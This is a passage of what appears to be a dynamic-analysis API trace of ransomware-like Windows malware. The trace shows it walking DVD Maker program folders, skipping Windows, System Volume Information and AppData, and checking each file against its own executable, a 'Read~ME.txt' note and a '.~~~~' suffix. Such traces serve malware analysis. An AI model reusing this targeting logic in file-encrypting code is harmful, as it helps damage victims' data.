	[0081.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.578] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.578] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.578] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.578] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.578] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.578] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.578] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.578] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.578] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.579] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.579] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.579] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.579] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0081.579] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0081.579] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0081.579] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0081.579] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0081.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.579] GetCurrentThreadId () returned 0x618
	[0081.579] RtlWakeConditionVariable () returned 0x365f48
	[0081.579] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047_576black.png", cAlternateFileName="")) returned 1
	[0081.579] lstrcmpiW (lpString1="1047_576black.png", lpString2="Windows") returned -1
	[0081.579] lstrcmpW (lpString1="1047_576black.png", lpString2="oiikyy.exe") returned -1
	[0081.579] StrStrW (lpFirst="1047_576black.png", lpSrch=".~~~~") returned 0x0
	[0081.579] lstrcmpW (lpString1="1047_576black.png", lpString2="Read~ME.txt") returned -1
	[0081.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.579] GetCurrentThreadId () returned 0x618
	[0081.579] RtlWakeConditionVariable () returned 0x365f48
	[0081.579] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.579] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.579] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.579] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.579] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.579] GetCurrentThreadId () returned 0x618
	[0081.580] RtlWakeConditionVariable () returned 0x365f48
	[0081.580] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.580] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.580] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.580] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.580] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.580] GetCurrentThreadId () returned 0x618
	[0081.580] RtlWakeConditionVariable () returned 0x365f48
	[0081.580] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.580] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.580] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.580] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.580] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.580] GetCurrentThreadId () returned 0x618
	[0081.580] RtlWakeConditionVariable () returned 0x365f48
	[0081.580] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.580] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.580] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.580] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.580] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.580] GetCurrentThreadId () returned 0x618
	[0081.580] RtlWakeConditionVariable () returned 0x365f48
	[0081.580] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.580] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.581] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.581] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.581] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.581] GetCurrentThreadId () returned 0x618
	[0081.581] RtlWakeConditionVariable () returned 0x365f48
	[0081.581] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.581] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.581] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.581] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.581] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.581] GetCurrentThreadId () returned 0x618
	[0081.581] RtlWakeConditionVariable () returned 0x365f48
	[0081.581] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x2, cFileName="push.png", cAlternateFileName="")) returned 1
	[0081.581] lstrcmpiW (lpString1="push.png", lpString2="Windows") returned -1
	[0081.581] lstrcmpW (lpString1="push.png", lpString2="oiikyy.exe") returned 1
	[0081.581] StrStrW (lpFirst="push.png", lpSrch=".~~~~") returned 0x0
	[0081.581] lstrcmpW (lpString1="push.png", lpString2="Read~ME.txt") returned -1
	[0081.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0081.581] GetCurrentThreadId () returned 0x618
	[0081.582] RtlWakeConditionVariable () returned 0x365f48
	[0081.582] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x2, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1
	[0081.582] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="Windows") returned -1
	[0081.582] lstrcmpW (lpString1="pushplaysubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.582] StrStrW (lpFirst="pushplaysubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.582] lstrcmpW (lpString1="pushplaysubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.582] GetCurrentThreadId () returned 0x618
	[0081.582] RtlWakeConditionVariable () returned 0x365f48
	[0081.582] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x2, cFileName="push_item.png", cAlternateFileName="")) returned 1
	[0081.582] lstrcmpiW (lpString1="push_item.png", lpString2="Windows") returned -1
	[0081.582] lstrcmpW (lpString1="push_item.png", lpString2="oiikyy.exe") returned 1
	[0081.582] StrStrW (lpFirst="push_item.png", lpSrch=".~~~~") returned 0x0
	[0081.582] lstrcmpW (lpString1="push_item.png", lpString2="Read~ME.txt") returned -1
	[0081.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.582] GetCurrentThreadId () returned 0x618
	[0081.582] RtlWakeConditionVariable () returned 0x365f48
	[0081.582] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x2, cFileName="push_title.png", cAlternateFileName="")) returned 1
	[0081.582] lstrcmpiW (lpString1="push_title.png", lpString2="Windows") returned -1
	[0081.582] lstrcmpW (lpString1="push_title.png", lpString2="oiikyy.exe") returned 1
	[0081.583] StrStrW (lpFirst="push_title.png", lpSrch=".~~~~") returned 0x0
	[0081.583] lstrcmpW (lpString1="push_title.png", lpString2="Read~ME.txt") returned -1
	[0081.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.583] GetCurrentThreadId () returned 0x618
	[0081.583] RtlWakeConditionVariable () returned 0x365f48
	[0081.583] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x2, cFileName="push_title.png", cAlternateFileName="")) returned 0
	[0081.583] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.584] GetCurrentThreadId () returned 0x618
	[0081.584] RtlWakeConditionVariable () returned 0x365f48
	[0081.584] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1
	[0081.584] lstrcmpiW (lpString1="Rectangles", lpString2="Windows") returned -1
	[0081.584] lstrcmpW (lpString1="Rectangles", lpString2=".") returned 1
	[0081.584] lstrcmpW (lpString1="Rectangles", lpString2="..") returned 1
	[0081.585] lstrcmpW (lpString1="Rectangles", lpString2="AppData") returned 1
	[0081.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles", lpSrch="AppData") returned 0x0
	[0081.585] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.585] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles", lpString2="C:\\Windows") returned -1
	[0081.585] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.585] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles", lpString2="C:\\System Volume Information") returned -1
	[0081.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0081.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.588] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.588] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.588] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.588] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.588] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.588] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.588] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.588] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.588] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.588] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.588] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.589] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.589] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0081.589] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0081.589] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0081.589] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0081.589] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0081.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.589] GetCurrentThreadId () returned 0x618
	[0081.589] RtlWakeConditionVariable () returned 0x365f48
	[0081.589] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1
	[0081.589] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="Windows") returned -1
	[0081.589] lstrcmpW (lpString1="1047x576_91n92.png", lpString2="oiikyy.exe") returned -1
	[0081.589] StrStrW (lpFirst="1047x576_91n92.png", lpSrch=".~~~~") returned 0x0
	[0081.589] lstrcmpW (lpString1="1047x576_91n92.png", lpString2="Read~ME.txt") returned -1
	[0081.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.589] GetCurrentThreadId () returned 0x618
	[0081.589] RtlWakeConditionVariable () returned 0x365f48
	[0081.589] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x2, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0081.589] lstrcmpiW (lpString1="15x15dot.png", lpString2="Windows") returned -1
	[0081.589] lstrcmpW (lpString1="15x15dot.png", lpString2="oiikyy.exe") returned -1
	[0081.589] StrStrW (lpFirst="15x15dot.png", lpSrch=".~~~~") returned 0x0
	[0081.589] lstrcmpW (lpString1="15x15dot.png", lpString2="Read~ME.txt") returned -1
	[0081.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.589] GetCurrentThreadId () returned 0x618
	[0081.589] RtlWakeConditionVariable () returned 0x365f48
	[0081.589] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x2, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1
	[0081.589] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="Windows") returned -1
	[0081.590] lstrcmpW (lpString1="720x480icongraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.590] StrStrW (lpFirst="720x480icongraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.590] lstrcmpW (lpString1="720x480icongraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.590] GetCurrentThreadId () returned 0x618
	[0081.590] RtlWakeConditionVariable () returned 0x365f48
	[0081.590] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.590] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.590] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0081.590] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.590] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.590] GetCurrentThreadId () returned 0x618
	[0081.590] RtlWakeConditionVariable () returned 0x365f48
	[0081.590] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.590] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.590] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0081.590] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.590] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.590] GetCurrentThreadId () returned 0x618
	[0081.590] RtlWakeConditionVariable () returned 0x365f48
